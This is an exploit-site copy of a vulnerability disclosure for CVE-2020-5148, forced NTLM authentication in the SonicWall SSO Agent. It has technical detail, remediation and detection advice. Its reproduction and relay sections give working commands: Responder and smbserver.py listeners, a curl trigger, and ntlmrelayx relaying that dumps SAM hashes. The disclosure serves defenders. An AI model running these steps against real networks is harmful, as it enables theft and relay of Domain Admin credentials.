## https://sploitus.com/exploit?id=57F61E3F-8906-5A47-81BC-13DB488EAF11
# CVE-2020-5148
**Forced Authentication in the SonicWall UTM SSO Agent**
The SonicWall SSO Agent identifies the user behind a given IP address by probing that
workstation with NetAPI (the default) or WMI. It does not validate the workstation
before initiating the NTLM authentication, and it continues polling the same address for
the life of the session.
Because the SSO Agent service requires administrative rights on every workstation and
server it probes, it is deployed in practice as Domain Admin. Any unauthenticated party
who can route web traffic through the UTM appliance can therefore make a Domain Admin
account authenticate to a host of their choosing, and capture or relay that
authentication.
Published as [CVE-2020-5148](https://nvd.nist.gov/vuln/detail/CVE-2020-5148), vendor
advisory [SNWLID-2021-0003](https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003).
Discovered and reported by [Sedric Louissaint](https://sedriclouissaint.com) of
[Show Up Show Out Security](https://susos.co).
---
## Summary
| | |
|---|---|
| **CVE** | [CVE-2020-5148](https://nvd.nist.gov/vuln/detail/CVE-2020-5148) |
| **Product** | SonicWall UTM Appliance and SSO Agent / Directory Services Connector |
| **Affected** | SSO Agent 4.1.10.0; Directory Services Connector 4.1.17 and earlier |
| **Fixed in** | NVD records the fix in Directory Services Connector 4.1.19 (see note below) |
| **Weakness** | [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html) |
| **CVSS 3.1 (NVD)** | 8.2 High `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` |
| **CVSS (researcher)** | 8.6 `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` |
| **Published** | 2021-03-05 |
| **Tested on** | Microsoft Windows Server 2012 R2 Standard |
| **Authentication required** | None |
| **Vendor advisory** | https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003 |
NVD description:
> SonicWall SSO-agent default configuration uses NetAPI to probe the associated IP's in
> the network, this client probing method allows a potential attacker to capture the
> password hash
## Technical detail
### The intended flow, and the two steps it omits
1. A user's traffic reaches the SonicWALL UTM appliance.
2. The appliance sends the user's IP to the SSO Agent as a "User Name Request". Blocked
packets are held.
3. The SSO Agent replies with the username logged into that workstation.
4. LDAP or the local database resolves group membership.
5. Policy is applied and the held traffic is released.
6. The appliance keeps polling the SSO Agent to confirm the same user is still logged on.
The annotations mark what the vendor diagram leaves out:
- **Step 2.5** The SSO Agent must authenticate to the workstation before it can query it.
That is an outbound NTLM handshake, to an address supplied by whoever generated the
traffic, with no prior validation of that address.
- **Step 5.5** The agent repeats that authentication on every poll, for the life of the
session. The polling interval is configurable in the GUI.
### Privilege context
The SSO Agent service requires administrator rights on all associated workstations and
servers in order to perform the query at all. In practically every deployment this means
the service account is Domain Admin.
The credential being handed to an unvalidated host is therefore the highest privileged
account in the directory.
### Triggering it
There is no exploit code. Any outbound web request from a segment the appliance handles
is sufficient:
```bash
curl sonicwall.com
```
The URL is irrelevant and the request does not need to succeed. The appliance observes
traffic from an unrecognised IP, asks the SSO Agent to identify the user there, and the
agent authenticates to that IP.
### Capturing the credential
With Responder or `smbserver.py` listening, the agent's NTLMv2 authentication arrives
unprompted, and keeps arriving because of the polling behaviour:
```
[SMB] NTLMv2-SSP Client : 192.168.x.x
[SMB] NTLMv2-SSP Username : \
[SMB] NTLMv2-SSP Hash : ...
```
### Relaying it
Cracking is optional. Where SMB signing is not enforced, the authentication can be
relayed live to a different host, which then treats the connection as the privileged
account it appears to be:
```bash
ntlmrelayx.py -t -smb2support -of
```
```
[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as \ SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x
```
The authentication is triggered by an unauthenticated web request and consumed on an
entirely different machine, which is the full ACL bypass described in the advisory.
## Reproduction
In a lab you own or are authorised to test, with a UTM appliance configured for SSO and
the SSO Agent using the default NetAPI client probing method:
1. Start a listener on a host inside a segment the appliance handles:
```bash
sudo responder -I
# or
sudo smbserver.py c . -smb2support
```
2. From that same host, generate any outbound web traffic through the appliance:
```bash
curl sonicwall.com
```
3. A vulnerable configuration produces an inbound NTLMv2 authentication from the SSO
Agent service account within seconds. Wait, and it repeats, because of the polling.
4. Optionally relay rather than capture, against a host with SMB signing disabled:
```bash
ntlmrelayx.py -t smb:// -smb2support -of relayed
```
Full command sequence in [`poc/repro.sh`](poc/repro.sh).
## Repository contents
```
poc/
repro.sh Listener, trigger and relay commands, commented, safe to read first
notes.md Why NetAPI triggers this, what WMI changes, detection guidance
media/
01-sso-flow-annotated.png
02-curl-crossing-network-boundary.png
03-ntlmv2-hashes-captured.png
04-ntlmrelayx-sam-dump.png
05-sso-agent-version-4.1.10.0.png
```
Usernames, hashes and internal addresses in the captures are redacted or from the
original lab.
## Remediation
1. **Switch client probing from NetAPI to WMI.** This is the vendor's documented
workaround and the fastest meaningful change.
2. **Do not run the SSO Agent as an account that can log in everywhere.** Do not permit
`administrator` to log in via the SSO agent service, the DC, the Exchange server or
the terminal server. Where the account must stay privileged, use a password long
enough that offline cracking is not realistic, twenty characters or more, never
reused.
3. **Upgrade the Directory Services Connector.** NVD records the fix in 4.1.19. Note that
in the researcher's testing, 4.1.19 and later still exhibited the underlying probing
behaviour and surfaced a warning rather than removing it. A warning is not a control,
so treat the WMI switch and the account hardening as the real mitigation.
4. **Enforce SMB signing** across the estate. This does not stop the credential being
captured, but it removes relay as an option.
5. **Consider Extended Protection for Authentication** on services that support it, and
restrict outbound SMB at the perimeter.
6. **Detect it.** Authentication attempts from the SSO Agent service account to hosts
that are not managed workstations are a high signal event. So is that account
authenticating to an address that has never appeared in inventory.
## Timeline
| Date | Event |
|---|---|
| 2020 | Discovered and reported to SonicWall |
| 2021-03-05 | CVE-2020-5148 published, advisory SNWLID-2021-0003 |
## Write-ups
- Personal account: https://sedriclouissaint.com/blog/sonicwall-utm-sso-forced-authentication-cve-2020-5148/
- Show Up Show Out Security: https://susos.co/blog/authforce-sonicwall-utm-sso-forced-authentication-cve-2020-5148
## Disclaimer
Published after vendor disclosure, for defensive and educational use. There is no exploit
code here because none is required, which is the point of the finding. Do not run these
commands against networks you do not own or have written authorisation to test.